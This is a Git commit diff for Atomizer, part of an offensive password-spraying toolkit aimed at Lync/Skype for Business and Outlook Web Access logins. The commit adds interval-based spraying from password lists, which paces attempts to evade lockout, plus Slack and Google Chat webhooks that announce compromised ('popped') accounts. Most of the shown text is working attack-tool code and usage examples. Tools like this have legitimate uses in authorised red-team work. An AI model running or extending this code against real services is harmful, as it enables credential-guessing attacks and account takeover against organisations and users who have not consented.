mirror of
https://github.com/byt3bl33d3r/SprayingToolkit
synced 2026-06-08 13:24:39 +00:00
Added timer and webhook support (Slack & GChat)
This commit is contained in:
@@ -1,3 +1,4 @@
|
||||
passwords.txt
|
||||
emails.txt
|
||||
names.txt
|
||||
lync_valid_accounts.txt
|
||||
|
||||
@@ -27,6 +27,7 @@ A blazing fast password sprayer for Lync/Skype For Business and OWA, built on As
|
||||
```
|
||||
Usage:
|
||||
atomizer (lync|owa) <target> <password> <userfile> [--threads THREADS] [--debug]
|
||||
atomizer (lync|owa) <target> <passwordfile> <userfile> --interval <TIME> [--gchat <URL>] [--slack <URL>][--threads THREADS] [--debug]
|
||||
atomizer (lync|owa) <target> --csvfile CSVFILE [--user-row-name NAME] [--pass-row-name NAME] [--threads THREADS] [--debug]
|
||||
atomizer (lync|owa) <target> --user-as-pass USERFILE [--threads THREADS] [--debug]
|
||||
atomizer (lync|owa) <target> --recon [--debug]
|
||||
@@ -34,17 +35,21 @@ Usage:
|
||||
atomizer -v | --version
|
||||
|
||||
Arguments:
|
||||
target target domain or url
|
||||
password password to spray
|
||||
userfile file containing usernames (one per line)
|
||||
target target domain or url
|
||||
password password to spray
|
||||
userfile file containing usernames (one per line)
|
||||
passwordfile file containing passwords (one per line)
|
||||
|
||||
Options:
|
||||
-h, --help show this screen
|
||||
-v, --version show version
|
||||
-c, --csvfile CSVFILE csv file containing usernames and passwords
|
||||
-i, --interval TIME spray at the specified interval [format: "H:M:S"]
|
||||
-t, --threads THREADS number of concurrent threads to use [default: 3]
|
||||
-d, --debug enable debug output
|
||||
--recon only collect info, don't password spray
|
||||
--gchat URL gchat webhook url for notification
|
||||
--slack URL slack webhook url for notification
|
||||
--user-row-name NAME username row title in CSV file [default: Email Address]
|
||||
--pass-row-name NAME password row title in CSV file [default: Password]
|
||||
--user-as-pass USERFILE use the usernames in the specified file as the password (one per line)
|
||||
@@ -72,6 +77,10 @@ python atomizer lync contoso.com --user-as-pass usernames.txt
|
||||
python atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon
|
||||
```
|
||||
|
||||
```bash
|
||||
python atomizer.py owa contoso.com passwords.txt emails.txt -i 0:45:00 --gchat <GCHAT_WEBHOOK_URL>
|
||||
```
|
||||
|
||||
### Vaporizer
|
||||
|
||||
A port of [@OrOneEqualsOne](https://twitter.com/OrOneEqualsOne)'s [GatherContacts](https://github.com/clr2of8/GatherContacts) Burp extension to [mitmproxy](https://mitmproxy.org/) with some improvements.
|
||||
|
||||
+36
-4
@@ -3,6 +3,7 @@
|
||||
"""
|
||||
Usage:
|
||||
atomizer (lync|owa) <target> <password> <userfile> [--threads THREADS] [--debug]
|
||||
atomizer (lync|owa) <target> <passwordfile> <userfile> --interval <TIME> [--gchat <URL>] [--slack <URL>][--threads THREADS] [--debug]
|
||||
atomizer (lync|owa) <target> --csvfile CSVFILE [--user-row-name NAME] [--pass-row-name NAME] [--threads THREADS] [--debug]
|
||||
atomizer (lync|owa) <target> --user-as-pass USERFILE [--threads THREADS] [--debug]
|
||||
atomizer (lync|owa) <target> --recon [--debug]
|
||||
@@ -10,17 +11,21 @@ Usage:
|
||||
atomizer -v | --version
|
||||
|
||||
Arguments:
|
||||
target target domain or url
|
||||
password password to spray
|
||||
userfile file containing usernames (one per line)
|
||||
target target domain or url
|
||||
password password to spray
|
||||
userfile file containing usernames (one per line)
|
||||
passwordfile file containing passwords (one per line)
|
||||
|
||||
Options:
|
||||
-h, --help show this screen
|
||||
-v, --version show version
|
||||
-c, --csvfile CSVFILE csv file containing usernames and passwords
|
||||
-i, --interval TIME spray at the specified interval [format: "H:M:S"]
|
||||
-t, --threads THREADS number of concurrent threads to use [default: 3]
|
||||
-d, --debug enable debug output
|
||||
--recon only collect info, don't password spray
|
||||
--gchat URL gchat webhook url for notification
|
||||
--slack URL slack webhook url for notification
|
||||
--user-row-name NAME username row title in CSV file [default: Email Address]
|
||||
--pass-row-name NAME password row title in CSV file [default: Password]
|
||||
--user-as-pass USERFILE use the usernames in the specified file as the password (one per line)
|
||||
@@ -37,6 +42,8 @@ from pathlib import Path
|
||||
from docopt import docopt
|
||||
from core.utils.messages import *
|
||||
from core.sprayers import Lync, OWA
|
||||
from core.utils.time import countdown_timer
|
||||
from core.webhooks import gchat, slack
|
||||
|
||||
|
||||
class Atomizer:
|
||||
@@ -150,7 +157,32 @@ if __name__ == "__main__":
|
||||
for sig in (signal.SIGINT, signal.SIGTERM):
|
||||
loop.add_signal_handler(sig, atomizer.shutdown)
|
||||
|
||||
if args['<userfile>']:
|
||||
if args['--interval']:
|
||||
popped_accts = 0
|
||||
with open(args['<passwordfile>']) as passwordfile:
|
||||
password = passwordfile.readline()
|
||||
while password != "":
|
||||
with open(args['<userfile>']) as userfile:
|
||||
loop.run_until_complete(
|
||||
atomizer.atomize(
|
||||
userfile=userfile,
|
||||
password=password.strip()
|
||||
)
|
||||
)
|
||||
|
||||
if popped_accts != len(atomizer.sprayer.valid_accounts):
|
||||
popped_accts = len(atomizer.sprayer.valid_accounts)
|
||||
|
||||
if args['--gchat']:
|
||||
gchat(args['--gchat'], args['<target>'], atomizer.sprayer)
|
||||
if args['--slack']:
|
||||
slack(args['--slack'], args['<target>'], atomizer.sprayer)
|
||||
|
||||
password = passwordfile.readline()
|
||||
if password:
|
||||
countdown_timer(*args['--interval'].split(':'))
|
||||
|
||||
elif args['<userfile>']:
|
||||
with open(args['<userfile>']) as userfile:
|
||||
loop.run_until_complete(
|
||||
atomizer.atomize(
|
||||
|
||||
@@ -146,4 +146,7 @@ class Lync:
|
||||
log.info(print_good(f"Found credentials: {username}:{password}"))
|
||||
self.valid_accounts.add(username)
|
||||
except Exception as e:
|
||||
log.info(print_bad(f"Invalid credentials: {username}:{password} ({e})"))
|
||||
log.info(print_bad(f"Invalid credentials: {username}:{password}"))
|
||||
|
||||
def __str__(self):
|
||||
return "lync"
|
||||
|
||||
@@ -104,3 +104,6 @@ class OWA:
|
||||
self.valid_accounts.add(username)
|
||||
else:
|
||||
log.info(print_bad(f"Authentication failed: {username}:{password} (Invalid credentials)"))
|
||||
|
||||
def __str__(self):
|
||||
return "OWA"
|
||||
|
||||
@@ -1,8 +1,12 @@
|
||||
import time
|
||||
import datetime
|
||||
from datetime import timedelta, tzinfo
|
||||
from core.utils.messages import print_info
|
||||
|
||||
# https://stackoverflow.com/questions/19654578/python-utc-datetime-objects-iso-format-doesnt-include-z-zulu-or-zero-offset
|
||||
# I have no clue what I'm doing here
|
||||
|
||||
|
||||
class simple_utc(tzinfo):
|
||||
|
||||
def tzname(self, **kwargs):
|
||||
@@ -10,3 +14,20 @@ class simple_utc(tzinfo):
|
||||
|
||||
def utcoffset(self, dt):
|
||||
return timedelta(0)
|
||||
|
||||
|
||||
# https://codereview.stackexchange.com/questions/199743/countdown-timer-in-python
|
||||
def countdown_timer(hours, minutes, seconds, now=datetime.datetime.now):
|
||||
delay = datetime.timedelta(
|
||||
hours=int(hours),
|
||||
minutes=int(minutes),
|
||||
seconds=int(seconds)
|
||||
)
|
||||
|
||||
target = now()
|
||||
|
||||
one_second_later = datetime.timedelta(seconds=1)
|
||||
for remaining in range(int(delay.total_seconds()), 0, -1):
|
||||
target += one_second_later
|
||||
print(print_info(f"{datetime.timedelta(seconds=remaining - 1)} remaining until next spray"), end="\r")
|
||||
time.sleep((target - now()).total_seconds())
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
from .gchat import gchat
|
||||
from .slack import slack
|
||||
@@ -0,0 +1,14 @@
|
||||
import requests
|
||||
import logging
|
||||
|
||||
# https://developers.google.com/hangouts/chat/quickstart/incoming-bot-python
|
||||
def gchat(webhook_url, target, sprayer):
|
||||
logging.debug('notifying gchat webhook of popped account(s)')
|
||||
|
||||
bot_message = {
|
||||
'text': f'Popped {len(sprayer.valid_accounts)} {str(sprayer)} accounts! (Target: {target})'
|
||||
}
|
||||
|
||||
message_headers = {'Content-Type': 'application/json; charset=UTF-8'}
|
||||
|
||||
requests.post(webhook_url, headers=message_headers, json=bot_message)
|
||||
@@ -0,0 +1,14 @@
|
||||
import requests
|
||||
import logging
|
||||
|
||||
# https://api.slack.com/incoming-webhooks
|
||||
def slack(webhook_url, target, sprayer):
|
||||
logging.debug('notifying slack webhook of popped account(s)')
|
||||
|
||||
bot_message = {
|
||||
'text': f'Popped {len(sprayer.valid_accounts)} {str(sprayer)} accounts! (Target: {target})'
|
||||
}
|
||||
|
||||
message_headers = {'Content-Type': 'application/json; charset=UTF-8'}
|
||||
|
||||
requests.post(webhook_url, headers=message_headers, json=bot_message)
|
||||
Reference in New Issue
Block a user